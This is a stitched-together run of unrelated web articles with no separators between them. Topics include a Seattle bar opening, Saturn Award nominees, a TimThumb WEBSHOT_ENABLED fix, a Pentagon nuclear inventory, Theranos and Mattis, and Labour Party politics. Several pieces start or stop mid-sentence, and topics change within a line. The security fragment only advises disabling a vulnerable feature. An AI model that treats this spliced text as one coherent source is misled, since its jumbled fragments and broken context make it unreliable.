#EnoughisEnough #NoMoreWar #OligarchyEndsNowThe Angry Beaver opened its doors at 84th & Greenwood Saturday night, and we're not sure we know what to say first, so let's be polite and let the new, Canadian owner explain.
Tim Pipes told PhinneyWood that it's a traditional "Canadian Hockey Bar," complete with a lot of hockey and football on the six big screens, and standard French-Canadian fare like poutine.
Pipes said the name comes from Canada's national animal (that would be the beaver), and "angry," which he claims refers to hockey.
All due respect, Mr. Pipes, that's not how we use the word beaver south of the border. Let alone the term Angry Beaver, which sounds like the name for a lez biker bar on Capitol Hill.
The Pig 'n Whistle was once owned by Vuong and Tricia Loc, who also have Portage at the top of Queen Anne. It was always something of a mystery how they could run an intimate, white-tablecloth dinner house like Portage and a (sometimes raucous) neighborhood tavern like Pig 'n Whistle, but run them both they did for almost five years. When their lease ran out, they didn't renew.
· All Pig 'N Whistle Coverage on Eater Seattle [-ESEA-]
· All Switcheroos Coverage on Eater Seattle [-ESEA-]
[Photo: The Angry Beaver / Facebook]The Academy of Science Fiction, Fantasy & Horror films on Tuesday announced the nominees for the 2015 Saturn Awards. The awards, which honor achievements in science fiction, fantasy, and horror in film and television, will be presented on June 25.
Captain America: The Winter Soldier leads this year’s back with 11 nominations, followed closely by Interstellar with 10 and Guardians of the Galaxy with nine. On the television front, The Walking Dead is the frontrunner with seven nods, followed closely by Hannibal, which has six.
Check out the full list of nominees below:
FILM
Best Comic Book-to-Film Release
The Amazing Spider-Man 2
Captain America: The Winter Soldier
Guardians of the Galaxy
X-Men: Days of Future Past
Best Science Fiction Film Release
Dawn of the Planet of the Apes
Edge of Tomorrow
Godzilla
The Hunger Games: Mockingjay – Part 1
Interstellar
The Zero Theorem
Best Fantasy Film Release
Birdman
The Grand Budapest Hotel
The Hobbit: The Battle of the Five Armies
Into the Woods
Maleficent
Paddington
Best Horror Film Release
Annabelle
The Babadook
Dracula Untold
Horns
Only Lovers Left Alive
The Purge: Anarchy
Best Thriller Film Release
American Sniper
The Equalizer
Gone Girl
The Guest
The Imitation Game |
Beta feature. [snip]
If, as in this example, every mention of WEBSHOT_ENABLED defines it as false, you’re in the clear. If, however, you find this anywhere:
define ('WEBSHOT_ENABLED', true);
Then you are probably running with the vulnerable feature enabled.
How do I fix it?
The solution is to disable the feature, by setting it back to false:
define ('WEBSHOT_ENABLED', false);
Finding every place where this is set to true and changing it to false will probably be enough to make you safe, but if you’re unsure, you should ask a developer to do this for you.
Alternatively, you could switch to a theme that doesn’t have TimThumb (or doesn’t enable this feature).
However, if you are vulnerable, it’s also possible that you’ve already been exploited. So, unless you are sufficiently technical to fix and investigate this yourself, it’s probably best to find a developer to help you out.
PS: Many thanks to Michael VanDeMar for pointing out a problem with the original post – it’s been updated now.WASHINGTON (CNN) -- Defense Secretary Robert Gates has formally ordered the Air Force, Navy and Defense Logistics Agency to conduct an inventory of all U.S. nuclear weapons and nuclear weapon-related materials to make sure all items are accounted for, according to a Pentagon memo released Thursday.
Defense Secretary Robert Gates orders an inventory of all U.S. nuclear weapons and related materials.
The order comes in the wake of the discovery last week that four nuclear warhead fuses were accidentally shipped to Taiwan in 2006.
Gates' memo, issued Wednesday, calls for all items to be accounted for by serial number.
Pentagon officials said at a news conference Tuesday that Gates would call for the review in addition to a full investigation into how the shipment to Taiwan from a Defense Logistics Agency warehouse happened 18 months ago.
The inventory review, which will involve thousands of items, is due to Gates in 60 days. Pentagon officials said the request was ordered, in part, because this latest incident comes after the August 2007 accidental flight of six nuclear-tipped cruise missiles on a B-52 bomber across the country.
"At a minimum, your report should include the results of the inventory and your personal assessment of the adequacy of your respective department or agency's positive inventory control policies and procedures," Gates said in the memo.
Four officers --- including three colonels -- were relieved of duty last year after a B-52 bomber mistakenly carried six nuclear warheads from North Dakota to Louisiana, the Air Force said.
A six-week investigation uncovered a "lackadaisical" attention to detail in day-to-day operations at the bases involved in the incident, an Air Force report said. E-mail to a friend
All About Robert Gates • The PentagonMaria Mangini (Albany County Sheriff's Office photo) Maria Mangini (Albany County Sheriff's Office photo) Image 1 of / 3 Caption Close School psychologist, husband arrested after teen baby-sitter finds pot in home 1 / 3 Back to Gallery
BETHLEHEM — A school psychologist and her husband were arrested on Thursday after the sheriff's office said a teenage baby-sitter discovered a stash of pot in their home, took some and got caught with it at school.
Brian and Maria Mangini, both 41, of 2006 Delaware Turnpike in Clarksville, have two children, ages 5 and 8, Sheriff Craig Apple said. Brian Mangini works at Bethlehem's Blue Sky Music store, the sheriff's office said.
Maria Mangini was placed on paid administrative leave after the arrest, according to the school district.
An investigation began when officials at the Bethlehem Central School District caught a student with marijuana and referred the matter to police, Apple said. The girl told officials that she found the drug while snooping at the home of the school's psychologist, where she was baby-sitting, the sheriff said.
Apple said it's not clear whether the girl met Maria Mangini through her profession as the school's psychologist.
Apple said the sheriff's office obtained a search warrant for the home and found 3 ounces of marijuana.
"It's not a huge amount of marijuana," Apple said, "but still with kids in the house and her employed by the school, we were very concerned."
The Manginis were charged with fourth-degree criminal possession of marijuana and endangering the welfare of a child. They were released on appearance tickets set for 5 p.m. Feb. 2 at New Scotland Town Court.
The incident is the latest in a string of drug-related exploits at the school district, including five drug arrests in the week before Thanksgiving. A 16-year-old Delmar student was arrested on felony drug charges just after Thanksgiving after police said he sold methadone to other students at Bethlehem Central High School.
After the methadone incident, High School Principal Charles Abba sent a letter to parents pointing to other instances where students had been involved in drugs and vandalism.
"In recent weeks, there has been an increase of inappropriate behavior at our high school," the letter stated. "Specifically, there have been more discipline referrals for disrespectful behavior, incidents of graffiti in the boys' bathrooms and possession and use of marijuana and controlled substances."
On Dec. 2, school officials abruptly postponed a school dance in the wake of the incidents.
Thursday, Superintendent Thomas Douglas sent another letter to parents about the latest incident, asking them to give feedback as the school addresses the issues.
More Information
"I encourage you to join us in taking a proactive approach to these issues and partnering with us as we address them," the letter states.
Also Thursday, the district released a statement addressing Maria Mangini's arrest, and said she was placed on leave "pending a thorough and timely investigation by the Bethlehem Central School District."
In the wake of the drug-related incidents, the district said the Board of Education is looking into the use of security cameras in the high school, officials are being vigilant with regards to inappropriate behavior in the district and forums on the effects of drug use are being organized.
"Above all, the district is concerned for the safety of our students," Douglas said. "It remains our highest priority."
Reach Dayelin Roman at 454-5350 or droman@timesunion.com.On Dec. 21, Facebook released Poke, a messaging app with a built-in self-destruct feature that was intended to take on Snapchat. Facebook Poke hit #1 on Apple's list of free apps in the U.S. the following day, but it didn't hold onto the top spot long, dropping out of the top 25 less than a week later.
Now, one month after it launched, Poke has fallen out of the top 50, the top 500 and is well on its way to falling out of the top 1,000 free apps. As of Monday, Facebook Poke had dropped to number 706 on the list of Apple's top free apps, according to data from App Annie, a service that tracks app rankings.
Snapchat, far from being killed off by Facebook, enjoyed a big boost from all the extra attention on its app. As Facebook Poke fell out of the top 25, Snapchat managed to crack the top 5 apps, rising to as high as #3. Snapchat has since declined somewhat in the rankings, but is still firmly in the top 20 at #14.
Snapchat's continued popularity suggests that the demand is still there for this kind of messaging app — just not for Facebook Poke.
Image courtesy of iStockphoto, CWLawrence and App AnnieNov 27 (Reuters) - Ferrari president Luca Di Montezemolo has dismissed as a joke the suggestion that Red Bull boss Christian Horner could replace Bernie Ecclestone as Formula One supremo.
Ecclestone, 83 and facing legal challenges including a $100 million damages claim in London over a 2005 business deal, told British newspapers in Brazil last week that he would like to hand over one day to Horner, 40.
“Christian would be ideal,” he was quoted as saying.
Horner, who has led Red Bull and German driver Sebastian Vettel to four successive constructors’ and drivers’ championships, subsequently played down such talk and Montezemolo made his feelings clear to Italy’s RAI television.
“Ecclestone sees Horner as his successor? As the years go by, he more and more enjoys making jokes and I’m happy he still has the desire to do so,” the Italian said in the interview broadcast on Tuesday night.
Montezemolo also addressed Ferrari’s failures over a season that saw the sport’s oldest and most successful team finish third in a championship dominated by Red Bull.
He denied that Ferrari had lost any of their political clout, highlighting that they alone among the teams had a historic right of veto.
“More political weight than that is impossible,” he said in excerpts published on the Ferrari website (www.ferrari.com).
Montezemolo said 2013 had been “definitely a year to forget” and demanded answers as to why the team had failed to develop the car in the second half of the season when Vettel won a record nine races in a row.
He criticised the Interlagos race stewards for a drive-through penalty imposed on Ferrari’s departing Brazilian Felipe Massa that cost the team a chance to leapfrog Mercedes in the championship.
“Every so often the gentlemen who come to the races to act as stewards make decisions that are a bit ridiculous and anachronistic,” he declared.
“One needs to be careful that we maintain credibility, for the work of the teams that invest money and for the drivers who risk their lives.”
Massa was penalised for crossing a white line at the pit lane entry with all four wheels, a transgression that drivers were warned about before the race by the governing body.
Mercedes team boss Ross Brawn said after the race that his drivers had reported Massa was consistently breaking the rules.
Montezemolo hailed Fernando Alonso, overall runner-up, for a great season but only gave him eight out of 10 rather than a maximum score as an incentive for next year, when 2007 champion Kimi Raikkonen returns as Massa’s replacement.
The Finn, he said, “will give us a boost and should bring the points we were missing this year”.
The president warned both drivers that the team always came first, however, even if double world champion Alonso was possibly the strongest racer he had ever met.
“None of our drivers could ever hurt the other one,” Montezemolo declared. “I am sure they will help one another.” (Reporting by Alan Baldwin in London, editing by Alison Wildey)This article is over 1 year old
Haider al-Abadi prepared to intervene militarily if Iraq’s population is ‘threatened by the use of force outside the law’
The Iraqi prime minister, Haider al-Abadi, says he is prepared to intervene militarily if the Kurdish region’s planned independence referendum results in violence.
In an interview with the Associated Press on Saturday, Al-Abadi said if the Iraqi population was “threatened by the use of force outside the law, then we will intervene militarily”.
Al-Abadi called the vote “a dangerous escalation” that will invite violations of Iraq’s sovereignty.
Iraq’s Kurdish region plans to hold the referendum on 25 September in three governorates that make up their autonomous region and in disputed areas controlled by Kurdish forces but claimed by Baghdad.
The United Nations has urged the Iraqi Kurdish leader, Masoud Barzani, to drop plans for the independence referendum and enter talks with Baghdad aimed at reaching a deal within three years.
Jan Kubis, the top UN envoy in Iraq, offered international backing for immediate negotiations between the country’s federal government and the autonomous Kurdish region.
In a document seen by Agence France-Presse, he proposed “structured, sustained, intensive and result-oriented partnership negotiations... on how to resolve all the problems and outstanding issues” between Baghdad and Erbil, the Kurdish region’s capital.
The Kurdish Regional Government (KRG) is embroiled in long-standing disputes with the federal government over oil exports, budget payments and control of ethnically divided areas.
Iraqi Kurdish lawmakers on Friday approved holding the referendum in the face of fierce opposition both from Baghdad and the Kurds’ international backers.
Kubis called for talks, overseen by the UN Security Council, that would aim to reach a deal defining “principles and arrangements” for future relations between Baghdad and the KRG.
In return, Barzani’s administration would agree to postpone the referendum at least until the end of negotiations.
“Here is this offer, if they accept this alternative, there will be negotiations,” Kubis said.
He added that he hoped to hear from Barzani “in the next two or three days”.
“I hope they will consider the options and I am waiting for their answer,” he said.arthurlittsey Community Voice Income tax, Isaac Littsey, Money, Social Security, Social Security Trust Fund, Taxes, United States
My brother Isaac took the time to respond to the questions at the end of my blog, “The Only Things Certain In Life Are DEATH and TAXES! Due to the length of his response it will be published in two parts.
What a great breakdown on how are taxes are divided and distributed. Good job. What I find truly fascinating is what a small percentage of our taxes go for the things that significantly impact the middle class.
At the federal level less than 15% of our tax dollars go to areas like: Science and Technology (1%), Education, Training, Employment and Social Services (3%), Agriculture (1%), Veterans Benefits (3%), Transportation (2%). Areas like Energy, Community and Regional Development, get less than 1% of our Federal Income Tax dollars. To be fair some of these areas do receive tax subsidies and grants.
The true irony is that, though these departments account for such a small part of the budget, they are the ones most vulnerable to cuts. Across the board cuts, of virtually any amount, would effectively eliminate the capability of some departments to do their jobs.
As for your questions…
How would I save Social Security? First, I would make sure the money owed to Social Security, by the government, is shown prominently in the budget as a debt owed. There is more than 2.5 trillion dollars currently “borrowed” from the Social Security Trust Fund and those monies should be visible and accounted for. As that money can only be borrowed by the government, and is subject to interest, we should be sure that when money is borrowed its use is for projects that will provide a return on investment. Never again should that money be used to fund things like wars. Could you imagine if just half of that 2.5 trillion dollars had been dedicated to transportation and infrastructure, education, energy or perhaps Veterans Benefits what could have been done? I would also raise the interest on money borrowed from the fund as an added incentive to choose, wisely, [the use] of any borrowed money.
I would look into possibly raising the cap on the amount of income subject to tax. The current cap is $90,000. I would consider raising it, perhaps 50%. This could allow higher payouts, keeping them in line with the true cost of living, not just the cost of being alive. It may be argued that this is nothing more than a tax increase, but I would argue that it is more than a tax increase. It’s also an increase in benefits, and an increase in the security that you may require later in life.
And lastly, I would consider some sort of “means testing.” You know, when you purchase other forms of insurance it is accepted that you are paying for something just in case you need it. Hoping, for the most part, that, you won’t need it. But happy to have it, if you do. Social Security should be something like that. As much as we complain about insurance premiums, we’re happy not to need to use it, and if we get some of it back in rebate, well, so be it.
If I were at a place in life financially, where I could live comfortably, I would gladly fore go my Social Security, especially if [say] I would pay no taxes on money drawn from retirement accounts. Capital gains and money made on investments are already taxed at a minimum rate.
More to follow in Part Two!
You can follow Isaac at his blog at www.declarativeusa.com
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AdvertisementsWhile at AgileIndy 2015 today, I had the opportunity to hear someone who I respect immensely, Mike Cottmeyer of Leading Agile, speak about his thoughts on Agile Transformation. Mike really gets it, and expresses his thoughts on the matter eloquently and with such impact.
While listening to him speak, I remembered this piece I wrote back in December 2014, and wanted to share it. It's not directly related to his talk, but there are some parallels and shared opinions.
I play a lot in the space of Lean Startup, but I also come from an Agile/ agility background. When asked to write a piece for an e-book a few months ago, I thought - why don't I combine my backgrounds in these two things and talk about how to adopt agile using a lean startup approach?
So I did.
And here's what I wrote. I'd love your thoughts and feedback. Mike, thanks for inspiring me to post this!
What Can Lean Startup Teach Us About Agile Adoption?
It's no secret that a transition to Agile (agile, agility, agile methods, take your pick) requires strong senior executive support to be successful.
But how do you get there? How do you, as someone who is in charge of this kind of a transition, help create the culture and environment required for a successful adoption of agile?
Culture Doesn't Change Overnight
Let's be real: cultural change doesn't happen overnight. In reality, it can take months, or even years to take hold, especially in larger organization.
In the absence of having a quick-fix to the cultural challenges that make an agile transition challenging, I propose a strategy that borrows from a framework we've all heard of.
Lean Startup FOR AGILE ADOPTIONS
Anyone who hasn't been living under a rock for the past decade has at least heard of Lean Startup, a business and product development method proposed by Eric Ries.
One of my hobbies is experimenting with applying Lean Startup principles to other areas of my life.
When it comes to agile adoptions or agile transitions, I started to wonder:
What if we applied Lean Startup methods to agile transitions?
What if we could figure out a way to define the minimum implementation of agile within an organization that would: show real value to stakeholders, but that also meets those stakeholders at their level of willingness and preparedness to change?
of agile within an organization that would: How could we run a small but impactful implementation of agile with a team, measure the areas of success and failure, and then figure out how to improve such that we are more successful the next time around?
I believe that we can approach agile adoptions or transitions using concepts borrowed from the Lean Startup in order to make us more successful, as follows:
Minimum Viable Product:
In this case, the product is the project or initiative which you choose to do a proof-of-concept with for your agile implementation. In this context, the concept of minimum viable should guide you to select a project that is only large enough to show success.
Tips for making your agile MVP concept work include:
Be careful not to choose a project that is so small that no real value can be demonstrated.
WHY?
You want your customer (i.e. senior-level executives) to care about the success of your project and to pay attention to your results.
Be careful not to choose a project that is mission-critical, is mired in a lot of organizational politics, or has too many interdepartmental or inter-team dependencies.
WHY?
I believe this part is pretty self-explanatory. Politics, dependencies, and highly-sensitive projects can all highjack your success in ways that may do more damage than simply a failed agile implementation.
Build-Measure-Learn:
The concept of build-measure-learn is the Lean Startup's counterpart to Agile's inspect-and-adapt. Agile frameworks encourage (and actually build in) a continuous inspect and adapt mindset, and this comes in the form of continuous feedback cycles, retrospectives, and continuous collaboration.
The Lean Startups' build-measure-learn cycle provides a structure for measuring an agile adoption's success. In addition to using tools such as continuous feedback and retrospectives, you can measure metrics that can be used to show the success of this new method.
Tips for implementing a build-measure-learn cycle to an agile adoption include:
Track metrics that not only demonstrate success, but that also highlight areas of improvement.
By tracking and analyzing these metrics, you're more likely to follow through with implementing improvements needed to make the next iteration of your agile adoption more successful.
Ask your customers (senior-level execs) what their "success criteria" are for your agile adoption pilot (MVP), and translate those into metrics.
By being aware of and tracking the metrics around what defines success for your customers, you set yourself up for success, by knowing what to focus on.
Remember, culture doesn't change overnight.
I agree wholeheartedly with Mike, who stated that especially in large organizations that have an established culture, you need to start with solidifying the structures and processes that allow people to be agile before changing their mind (culture) about it.
Iterative and incremental, people. Iterative and incremental.The crime gripped the public’s imagination, for both its magnitude and its moxie: In the predawn hours of Dec. 11, 1978, a group of masked gunmen seized about $6 million in cash and jewels from a cargo building at Kennedy International Airport.
The Lufthansa heist, as it was known, was billed as the biggest cash robbery in United States history, and it played a starring role in the 1990 Martin Scorsese movie “Goodfellas.” It remained unsolved for four decades, perhaps because many of those who might have known something turned up dead.
But more than 35 years later, federal authorities on Thursday charged a 78-year-old man, Vincent Asaro, with playing a role in the robbery, saying they had four cooperating witnesses from organized crime families who linked Mr. Asaro, a reputed capo in the Bonanno crime family, to the robbery.
It is an unexpected turn in a famously unsolved case that had long been attributed to the Lucchese crime family. The indictment makes clear that the authorities now are convinced that the Bonanno family was also involved.by Chris Edelson, assistant professor of government in American University's School of Public Affairs. He teaches classes on the Constitution and presidential power. Edelson is author of the forthcoming book, Emergency Presidential Power: From the Drafting of the Constitution to the War on Terror, which will be published by the University of Wisconsin Press in November 2013.
It was an encouraging development for the rule of law when President Obama decided to ask Congress for legislative authorization to take military action in Syria. When Obama took office in 2009, it was reasonable to expect that his administration would move away from the Bush-Cheney-Yoo unitary executive model, which was essentially an argument for unchecked presidential power. However, while the Obama administration has certainly not embraced the outlandish unitary executive theory, it has, at times, found ways to skirt limits on presidential power. The most prominent examples are probably the targeted killing, without judicial hearing, of U.S. citizens believed to be terrorist leaders and the administration’s decision to order military action in Libya in 2011. As I have argued elsewhere, in each case, executive branch lawyers in the Obama administration found ways to justify unilateral presidential action unchecked by the other branches of government.
Obama’s decision to involve Congress in the debate over the use of military force in Syria suggests a meaningful acknowledgment that presidential power is accountable to checks and balances. As I have written for the Los Angeles Times, Obama’s decision to seek congressional approval was required by the Constitution since the United States has not been attacked by Syria. However, it was far from clear that Obama would turn to Congress. Advocates of presidential power point out that past practice -- including Obama’s own action in Libya -- supports the conclusion that presidents can more broadly use military force when it is in the national interest, and not only when the U.S. is attacked. The fact that Obama did not act on his own is a positive sign and may help prevent future presidents from unilaterally using military force (picture a hypothetical President Ted Cruz deciding the national interest justified an attack against Canada).
There is reason to contain one’s optimism, though, when it comes to setting new limits on the use of presidential power. Obama has stated that he reserves the right to use military force even if Congress declines to pass authorizing legislation. That is disconcerting, and simply does not make a great deal of sense. What is the point of Congress making a decision if it is merely an advisory opinion? If Congress decides not to authorize the use of military force in Libya, Obama should respect that decision and should not act on his own. Unilateral action under these circumstances would be a dangerous decision for the Constitution, and could also be a bad political move. Some Republican members of Congress have made clear that they are eager to find a reason, any reason, to impeach President Obama and remove him from office. To date, there is no legitimate reason to support such an idea. However, if Obama ordered military action in defiance of Congress, that could provide his political opponents with a legitimate argument for impeachment.Adverts for educational exhibition taken down over fears they could be interpreted as symbol of resistance to government
The British Council in Hong Kong has removed advertisements in a metro station bearing the British flag over concerns that they could be interpreted as a symbol of resistance to the Hong Kong government.
Posters advertising a British Council educational exhibition were installed in Hong Kong's Admiralty station last week but were taken down shortly afterwards because they were seen as "open to misinterpretation", a British Council spokeswoman told the South China Morning Post.
One advert showed a union flag, a portrait of William Shakespeare and the words "Literature is GREAT".
The spokeswoman said: "The GREAT campaign is being used to promote the British Council education exhibition. As a global campaign it has uniform messaging for all markets. Given some of the wording has been subject to misinterpretation in Hong Kong it was decided to remove those posters a few days early in order not to detract from the positive nature and overall success of the campaign."
The colonial-era flag of Hong Kong, which combines the union flag symbol with a seal depiction representing Hong Kong, has been used, in the past few months, as a symbol of opposition to the territory's chief executive, the politician Leung Chun-ying.
Many of Hong Kong's seven million residents regard Leung as a Beijing loyalist who is intent on surreptitiously eroding the territory's free press, its liberal education system and the independent judiciary.
Anti-government protesters waved the flag this month as a symbol of nostalgia for the relatively prosperous last two decades of British rule before Beijing assumed control over the territory in 1997.
The South China Morning Post reported that the adverts had sparked a heated debate online about the legacy of British colonial governance. "UK has always seemed to mean less at home than to its own nationals and admirers abroad," it quoted a Facebook contribution.
It is unclear whether the Hong Kong government pressured the British Council to remove the adverts. The organisation has not responded to inquiries.
According to a synopsis on the website of the British consulate-general of Hong Kong, the GREAT Britain campaign is "the country's biggest ever overseas campaign to boost worldwide awareness of the UK", which aims to attract "an extra four million visitors and a £1bn boost for business over the next four years".Barack Obama will earn the equivalent of his annual presidential salary to speak at a Wall Street lunch conference later this year.
Fox Business Network reports that Obama will earn $400,000 to speak at a healthcare conference for investment banking firm Cantor Fitzgerald in September.
“We understand that he is going to be the keynote speaker for the lunch, and he’s going to receive a fee of $400,000,” reported Fox Business Network’s Charlie Gasparino.
That hefty payout, which is roughly seven times the median household income in the U.S., puts Obama in the same league as Bill Clinton on the lucrative presidential speaking circuit. But unlike Clinton, Obama was a vocal critic of Wall Street as president. As Fox Business notes, Obama derided “fat cat bankers on Wall Street” during a 2009 TV interview and regularly blamed big banks for the 2008 recession.
Gasparino says that Obama has signed a contract for the appearance but that he has the option of backing out of the event if any scheduling conflicts arise.
The news comes on the same day that Obama attended his first public event since leaving office. The Democrat appeared pro bono at a forum at the University of Chicago, the planned site of his presidential library.
Follow Chuck on TwitterTerri Nicholson, from the Metropolitan Police’s counter-terrorism command unit, said that taxpayers’ money was being claimed fraudulently and used by terrorists in countries such as Iraq and Syria.
She said there had been “a number of cases” recently of terrorists making fraudulent student loan claims to fund their activities.
MPs described the prospect of British money being used to bankroll potential terrorist plots on British soil as “sickening”. Keith Vaz, chairman of the Commons home affairs committee, said he would in the coming weeks question Theresa May, the Home Secretary, over the “shocking” disclosures.
Two brothers became the first Britons to be jailed for Syria-related terrorism offences, having gone to a training camp in the country.
Another jihadist, who skipped bail to fight in Syria, used Twitter to mock the lapse in security that allowed him to flee.
Meanwhile, the family of Fusilier Lee Rigby claimed Facebook failed in its “duty of care” when it missed messages in which one of his murderers discussed killing a soldier. Facebook was accused in a report of being a “safe haven for terrorism” after it failed to pass on information that could have prevented the killing of Fusilier Rigby in Woolwich, south-east London, last year.
Miss Nicholson, a Met Assistant Commander, said terrorists were using “innovative” techniques to send money abroad. “We are seeing a diverse fraud, including substantial fraud online, abuse of the benefits system, abuse of student loans, in order to fund terrorism,” she said.
She also said women were being used to smuggle money out of Britain to fund terrorists abroad, as it is believed they will arouse less suspicion. Earlier this month, Amal El Wahabi, a British mother-of-two, was jailed for more than two years for trying to arrange to smuggle €20,000 (£16,000) to her husband, who is believed to be a jihadist fighting in Syria. She duped her friend, Nawal Msaad, into carrying the cash in her underwear.
Philip Davies, the Tory MP, said of Miss Nicholson’s claims: “I know the Government has been cracking down on benefit fraud. It seems to me that this shows that if anything, they need to go further.”
He added: “It is sickening to think that [UK money is funding terror plots] but whenever there is any money being doled out, it’s obvious that terrorists will be trying to get their hands on as much of it as possible.”
Kwasi Kwarteng, a Conservative member of the Commons work and pensions committee, said: “Ordinary people will be very, very concerned about this and it’s something which the Government obviously has a duty to crack down on.”
Mr Vaz said: “It is shocking that this is happening. We need to see assurances from government that the integrity of the student loan and benefits
system has not been compromised, with the full cooperation of the banking network.”
A spokesman for the Department for Work and Pensions said: “No one should doubt our commitment to rooting out benefit fraud.”
Ministers said up to 50 suspected jihadists a year are expected to be prevented from going to Syria or other terrorism hot spots under proposed powers to seize passports.
Around 15 terror suspects a year will also be placed under the revamped terrorism prevention and investigation measures (Tpims), which restrict their activities.
The measures are part of the Counter-Terrorism and Security Bill.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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Donald Trump believes that the government can closely monitor every individual entering the country to determine their likelihood of participating in a terrorist attack. He calls it “extreme vetting.” So surely his handpicked choices for the cabinet were vetted with that level of deep scrutiny, so no surprises would ensue after the selection. Ad Policy
Yet Trump’s choice for defense secretary, retired Marine Gen. James “Mad Dog” Mattis (chosen, one assumes, for the nickname), has a very damaging association hiding in plain sight in his record—his current position on the board of directors of quack medical company Theranos.
That’s right, current. It’s been more than a year since The Wall Street Journal raised questions about the celebrated biotech startup, which led to the company’s downfall. Yet there Mattis is, still listed on the board of directors. Former secretaries of state George Schultz and Henry Kissinger, former Senate majority leader Bill Frist, former defense secretary William Perry, and former Senate Armed Services Committee chair Sam Nunn have all backed away from the board. Another, construction company chairman and top investor Riley Bechtel, just stepped down today. But Mattis, given every opportunity to end his relationship with Theranos and its dodgy activities, is hanging in there.
Mattis’s relationship with Theranos and its “next Steve Jobs” CEO Elizabeth Holmes dates back to 2011, when the general remained on active duty, in charge of Central Command and the war in Afghanistan. Theranos claimed to have invented a blood-testing device that would only require a few drops of blood. Mattis took an interest. In fact, he worked to get the US Army to procure Theranos lab equipment for field use, before it had completed the FDA approval process. E-mails from 2012 show Mattis’s personal involvement in the project, with him telling Holmes, “We’re kicking this into overdrive to try to field your lab in the near term.”
Despite several personal interventions from Mattis, including meeting directly with the regulatory official in charge, the procurement fell apart as parts of Theranos’ lab-testing equipment never passed FDA inspection. Mattis’s insistence led one colonel to say that Central Command’s medical teams “feel caught in the middle of something that feels quite political.”
In actuality, Theranos was hiding its secretive technology rather than getting the proper FDA clearances because the blood test didn’t work in the way they claimed. The company’s lab practices caused potential harm to patient health, according to the Center for Medicare and Medicaid Services. There were multiple inaccuracies in the testing; 81 patients got unverified and potentially false results. The clinical labs have now all been closed. Walgreens, where Theranos had an exclusive agreement, has sued, along with a handful of investors.
None of this stopped Mattis from joining the board in 2013, after he left active duty. This was part of Holmes’s strategy on Theranos: cultivate powerful friends and use them to increase the company’s credibility and influence. Only two of the 12 Theranos board members had experience in medicine, and one (Bill Frist) hadn’t practiced in many years. By contrast, six had government experience and two were military commanders. Clearly, this powerhouse board was assembled to iron out regulatory matters and get Theranos products into the lucrative military-procurement process. But even all that firepower couldn’t help when Theranos was caught selling bogus technology and lying to its funders.
It is assumed that Mattis will leave the board now as he prepares to go into the government. And maybe it’s OK that he didn’t understand the depths of the deceit at the company in 2012. But the fact that he didn’t leave the Theranos board until now suggests either a troubling credulousness, an inability to admit a mistake, or a desire to stay on the gravy train. Theranos is a privately held company, so it’s unknown how much money Mattis made for his board position. But Holmes’s net worth was at one point $4 billion, and the company raised scads of money from venture capitalists, so it’s reasonable to assume that seat was lucrative. Ready to Fight Back? Sign Up For Take Action Now
Mattis has a passion for corporate boards—he’s also on the board of General Dynamics, the major defense contractor. As Lee Fang wrote for The Nation in 2014, earning $88,479 in cash and stock options just in 2013. That grew to $264,070 in 2015, the last year for which there is data.
The seeming meddling in the procurement process is a really giant red flag for an individual who would run the military. It’s one thing for the head of Central Command to run into bureaucratic difficulties when trying to get a product onto the battlefield; it’s another for the defense secretary to demand it, using the power not only inside the Pentagon but on Capitol Hill. The potential for crony capitalism is great.
This result of Trump’s “extreme cabinet vetting” fits with his other selections. His education secretary married into a multilevel marketing fortune. His treasury secretary used a favorable government deal to profit off of foreclosure victims, just like his commerce secretary. His transportation secretary’s family owns a dicey shipping company. And now Mattis has ties to the biggest scam company in Silicon Valley. And heck, it fits with a guy who ran a fraudulent fake university. Maybe being linked to something shady is part of the Trump cabinet job description.A* ap= new A(); //object on heap func(ap); // NOT CALL BY REFERENCE, scream the language lawyers!
You are the one who seems to be screaming, not the supposed "language lawyers" func is defined as func(A*); It's the actual C++ spec |
or nothing to the huge majority of voters. As tempting as it might be, we must always resist focusing in on ourselves and ignoring what people really want.'
Deputy Labour leader Tom Watson dismissed the prospect of Mr Corbyn facing a challenge and pleaded for 'patience' after a'mixed bag' of election results.
Writing in the Sunday Mirror he said a leadership challenge was 'about as likely as a snowstorm in the Sahara'.
But he acknowledged: 'The truth is Labour still has a mountain to climb if we are to return to Government in 2020.'
He said: 'If there is one quality Labour Party members will need as we seek to return to Downing Street it is patience.
'Jeremy Corbyn was elected leader of our party eight months ago with an overwhelming mandate to take the party in a new direction.
'But that won't happen overnight. Our share of the vote was higher than it was a year ago, when we suffered a painful election defeat.
'Of course it isn't enough. We need to do far more. We need to do better.
'I have been a member of the Labour Party for well over 30 years and I know that members are fair-minded people.
'That's why a leadership challenge is about as likely as a snowstorm in the Sahara.'
Mr Khan's victory has triggered a by-election as he announced he will stand down as MP for Tooting.
Labour's national executive will draw up a short list of candidates next week to fight a by-election in the seat held by the new mayor of London.
The NEC will meet on Wednesday following the resignation of Sadiq Khan, who beat his Tory rival Zac Goldsmith to succeed Boris Johnson in last week's mayoral poll.
The Press Association understands that Martin Smith, a national officer with the GMB, is seeking nomination.
The newly elected mayor said he will step down as MP for the south London seat to concentrate on his duties in City Hall.
Mr Khan has been MP for Tooting since 2005 and held the seat with a majority of under 3,000 in 2015.
Corbyn allies accuse Khan of treating him like a 'pariah' by avoiding appearing with him after new mayor gives leader the slip
Allies of Jeremy Corbyn last night accused newly elected London Mayor Sadiq Khan of treating him like a 'pariah' by avoiding appearing in public with him.
The Labour leader was conspicuous by his absence from Khan's official swearing-in ceremony at Southwark Cathedral in South-East London yesterday.
To add insult to injury, Corbyn's predecessor as Labour leader, Ed Miliband, was there to see Mr Khan become Boris Johnson's successor.
And the pair even missed each other at Khan's official victory party on Friday, with Corbyn arriving – and leaving – several hours before the London Mayor showed up.
10.50am: Jezza looks for the new Mayor at the victory party
1.15am... No chance! Khan waits 'til coast is clear
Labour sources claimed Mr Corbyn's office had made repeated attempts to arrange a joint photo call last week – but could not get through.
'Corbyn's team couldn't get Khan's office to pick up the phone,' said one insider. 'He clearly doesn't want anything to do with Jeremy.'
The row broke as anti-Corbyn Labour MPs privately said that the coup against him was 'postponed not cancelled' after a raft of election results across the UK was deemed bad for Labour – but not dire enough to force him out now.
One MP admitted: 'We're keeping our powder dry, but Corbyn can't lead us into a General Election.'
Allies of Jeremy Corbyn last night accused newly elected London Mayor Sadiq Khan of treating him like a 'pariah'
